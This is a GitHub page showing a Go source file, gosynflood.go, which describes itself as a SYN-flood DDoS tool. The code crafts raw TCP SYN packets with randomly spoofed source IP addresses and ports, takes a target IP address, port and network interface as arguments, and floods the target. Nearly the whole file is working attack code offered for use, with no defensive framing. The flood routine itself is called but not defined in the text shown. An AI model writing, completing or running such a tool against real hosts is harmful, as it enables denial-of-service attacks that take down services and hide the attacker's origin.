-
Notifications
You must be signed in to change notification settings - Fork 18
/
gosynflood.go
179 lines (156 loc) · 4.03 KB
/
gosynflood.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
package main
/*
rootVIII gosynflood - synflood DDOS tool
2020
*/
import (
"crypto/rand"
"flag"
"fmt"
"net"
"os"
"os/user"
"reflect"
"strconv"
"strings"
)
// SYNPacket represents a TCP packet.
type SYNPacket struct {
Payload []byte
TCPLength uint16
Adapter string
}
func (s *SYNPacket) randByte() byte {
randomUINT8 := make([]byte, 1)
rand.Read(randomUINT8)
return randomUINT8[0]
}
func (s *SYNPacket) invalidFirstOctet(val byte) bool {
return val == 0x7F || val == 0xC0 || val == 0xA9 || val == 0xAC
}
func (s *SYNPacket) leftshiftor(lval uint8, rval uint8) uint32 {
return (uint32)(((uint32)(lval) << 8) | (uint32)(rval))
}
// TCPIP represents the IP header and TCP segment in a TCP packet.
type TCPIP struct {
VersionIHL byte
TOS byte
TotalLen uint16
ID uint16
FlagsFrag uint16
TTL byte
Protocol byte
IPChecksum uint16
SRC []byte
DST []byte
SrcPort uint16
DstPort uint16
Sequence []byte
AckNo []byte
Offset uint16
Window uint16
TCPChecksum uint16
UrgentPointer uint16
Options []byte
SYNPacket `key:"SYNPacket"`
}
func (tcp *TCPIP) calcTCPChecksum() {
var checksum uint32 = 0
checksum = tcp.leftshiftor(tcp.SRC[0], tcp.SRC[1]) +
tcp.leftshiftor(tcp.SRC[2], tcp.SRC[3])
checksum += tcp.leftshiftor(tcp.DST[0], tcp.DST[1]) +
tcp.leftshiftor(tcp.DST[2], tcp.DST[3])
checksum += uint32(tcp.SrcPort)
checksum += uint32(tcp.DstPort)
checksum += uint32(tcp.Protocol)
checksum += uint32(tcp.TCPLength)
checksum += uint32(tcp.Offset)
checksum += uint32(tcp.Window)
carryOver := checksum >> 16
tcp.TCPChecksum = 0xFFFF - (uint16)((checksum<<4)>>4+carryOver)
}
func (tcp *TCPIP) setPacket() {
tcp.TCPLength = 0x0028
tcp.VersionIHL = 0x45
tcp.TOS = 0x00
tcp.TotalLen = 0x003C
tcp.ID = 0x0000
tcp.FlagsFrag = 0x0000
tcp.TTL = 0x40
tcp.Protocol = 0x06
tcp.IPChecksum = 0x0000
tcp.Sequence = make([]byte, 4)
tcp.AckNo = tcp.Sequence
tcp.Offset = 0xA002
tcp.Window = 0xFAF0
tcp.UrgentPointer = 0x0000
tcp.Options = make([]byte, 20)
tcp.calcTCPChecksum()
}
func (tcp *TCPIP) setTarget(ipAddr string, port uint16) {
for _, octet := range strings.Split(ipAddr, ".") {
val, _ := strconv.Atoi(octet)
tcp.DST = append(tcp.DST, (uint8)(val))
}
tcp.DstPort = port
}
func (tcp *TCPIP) genIP() {
firstOct := tcp.randByte()
for tcp.invalidFirstOctet(firstOct) {
firstOct = tcp.randByte()
}
tcp.SRC = []byte{firstOct, tcp.randByte(), tcp.randByte(), tcp.randByte()}
tcp.SrcPort = (uint16)(((uint16)(tcp.randByte()) << 8) | (uint16)(tcp.randByte()))
for tcp.SrcPort <= 0x03FF {
tcp.SrcPort = (uint16)(((uint16)(tcp.randByte()) << 8) | (uint16)(tcp.randByte()))
}
}
func exitErr(reason error) {
fmt.Println(reason)
os.Exit(1)
}
func main() {
username, err := user.Current()
if err != nil || username.Name != "root" {
exitErr(fmt.Errorf("root privileges required for execution"))
}
target := flag.String("t", "", "Target IPV4 address")
tport := flag.Uint("p", 0x0050, "Target Port")
ifaceName := flag.String("i", "", "Network Interface")
flag.Parse()
if len(*target) < 1 || net.ParseIP(*target) == nil {
exitErr(fmt.Errorf("required argument: -t <target IP addr>"))
}
if strings.Count(*target, ".") != 3 || strings.Contains(*target, ":") {
exitErr(fmt.Errorf("invalid IPV4 address: %s", *target))
}
if *tport > 0xFFFF {
exitErr(fmt.Errorf("invalid port: %d", *tport))
}
var packet = &TCPIP{}
var foundIface bool = false
foundIfaces := packet.getInterfaces()
for _, name := range foundIfaces {
if name != *ifaceName {
continue
}
foundIface = true
}
if !foundIface {
msg := "invalid argument for -i <interface> Found: %s"
errmsg := fmt.Errorf(msg, strings.Join(foundIfaces, ", "))
exitErr(errmsg)
}
defer func() {
if err := recover(); err != nil {
exitErr(fmt.Errorf("error: %v", err))
}
}()
packet.setTarget(*target, uint16(*tport))
packet.genIP()
packet.setPacket()
packet.floodTarget(
reflect.TypeOf(packet).Elem(),
reflect.ValueOf(packet).Elem(),
)
}